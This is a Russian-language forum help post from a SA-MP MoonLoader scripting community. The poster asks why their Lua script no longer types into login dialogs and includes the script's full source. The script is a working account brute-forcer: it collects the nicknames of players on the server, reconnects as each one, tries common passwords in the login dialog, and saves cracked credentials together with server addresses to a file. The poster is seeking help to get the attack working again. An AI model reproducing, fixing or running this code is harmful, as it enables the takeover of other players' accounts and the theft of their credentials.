Проблема с вводом в диалог | HELP

bantox

Новичок
Автор темы
6
0
Версия MoonLoader
.026-beta
В чем проблема? Ники парсит, заходит под ними, но на диалоги никак не реагирует.
Раньше скрипт работал идеально, но сейчас не хочет вводить текст в диалог

Lua:
script_name("Bruteforce")
script_description("SAMP Bruteforce. I personally think it's shit.")
script_authors("Shamanije")

local sampev = require 'lib.samp.events'

local dirway = 'moonloader/config/bruter'
local nxt = false
local active = false
local attemp = 0
local timer = 0
local recount = 0
local pause = false

local passTable = {'123qwe', '123456'}

if not doesDirectoryExist(dirway) then
    createDirectory(dirway)
end

function main()
    if not isSampLoaded() or not isSampfuncsLoaded() then return end
    while not isSampAvailable() do wait(100) end
    sampRegisterChatCommand('scan', scanPlayers)
    sampRegisterChatCommand('brute', brutePlayers)
    sampRegisterChatCommand('pause', pauseBrute)
    while true do
        if active then
            if sampGetGamestate() == 5 or sampGetGamestate() == 3 then
                timer = timer + 1
                if timer == 200 and sampGetGamestate() == 5 then
                    timer = 0
                    nxt = true
                elseif timer == 500 and sampGetGamestate() == 3 then
                    timer = 0
                    nxt = true
                end
            else
                timer = 0
            end
        end
        wait(10)
    end
end

function onReceivePacket(id)
    if active and (id == 36 or id == 32 or id == 37) then
        recount = recount + 1
        if recount == 3 then
            recount = 0
            sampDisconnectWithReason(false)
            lua_thread.create(function()
                printStringNow('~b~~h~~h~~h~SMTHNG WENT WRONG, 10 SECS COOLDOWN', 2000)
                nxt = false
                wait(10000)
                nxt = true
            end)
        end
    end
end

function sampev.onShowDialog(id, style, title, b1, b2, text)
    if active and id < 3 then
        attemp = attemp + 1
        if attemp == #passTable+1 then
            nxt = true
        else
            password = passTable[attemp]
            sampSendDialogResponse(id, 1, -1, password)
            printStringNow('~b~~h~~h~~h~ENTERING PASSWORD ~y~~h~~h~'..password, 1000)
        end
        return false
    end
end

function sampev.onConnectionRejected(reason)
    if active then
        nxt = true
    end
end

function sampev.onSetSpawnInfo()
    if active then
        local f = io.open(dirway..'/brutedAccs.txt', 'a+')
        if f then
            local server = sampGetCurrentServerName()
            local ip, port = sampGetCurrentServerAddress()
            f:write(fnick..'='..password..';'..server..';'..ip..':'..port..'\n')
            f:close()
        end
        nxt = true
    end
end

function sampev.onRemoveBuilding()
    if active then
        return false
    end
end

function sampev.onCreateObject()
    if active then
        return false
    end
end

function scanPlayers()
    local ip, port = sampGetCurrentServerAddress()
    local count = 1
    os.remove(dirway..'/'..ip..'.txt')
    local f = io.open(dirway..'/'..ip..'.txt', 'a+')
    if f then
        lua_thread.create(function()
            for i = 1, sampGetMaxPlayerId(false) do
                if sampIsPlayerConnected(i) and i ~= select(2, sampGetPlayerIdByCharHandle(PLAYER_PED)) then
                    local nick = sampGetPlayerNickname(i)
                    local ip, port = sampGetCurrentServerAddress()
                    wait(1)
                    f:write(nick..'\n')
                    printStringNow('~b~~h~~h~~h~WRITING ID:    ~y~~h~~h~'..i, 1)
                    count = count + 1
                end
            end
            printStringNow('~b~~h~~h~~h~WRITEN ~y~~h~~h~'..count..' ~b~~h~~h~~h~NICKS', 1000)
            f:close()
        end)
    end
end

function brutePlayers(delay)
    active = not active
    if active then
        if delay:match('%d+') then
            local time = tonumber(delay:match('(%d+)'))
        else
            time = 0
        end
        local ip, port = sampGetCurrentServerAddress()
        local f = io.open(dirway..'/'..ip..'.txt', 'r')
        if f then
            lua_thread.create(function()
                for line in f:lines() do
                    if active then
                        sampDisconnectWithReason(false)
                        fnick = line:match('(.+)')
                        sampSetLocalPlayerName(fnick)
                        printStringNow('~r~~h~~h~~h~~h~'..fnick, 2000)
                        wait(time)
                        sampConnectToServer(ip, port)
                        nxt = false
                        attemp = 0
                        while not nxt or pause do
                            wait(10)
                        end
                    end
                end
                active = false
            end)
        else
            printStringNow('~b~~h~~h~~h~NO SUCH FILE EXISTS. USE ~y~~h~~h~/SCAN', 2000)
        end
    else
        printStringNow('~b~~h~~h~~h~BRUTE STOPPED', 2000)
    end
end

function pauseBrute()
    if active then
        pause = not pause
        if pause then
            sampDisconnectWithReason(false)
            printStringNow('~b~~h~~h~~h~BRUTE PAUSED', 2000)
        else
            nxt = true
            printStringNow('~b~~h~~h~~h~BRUTE CONTINUED', 2000)
        end
    end
end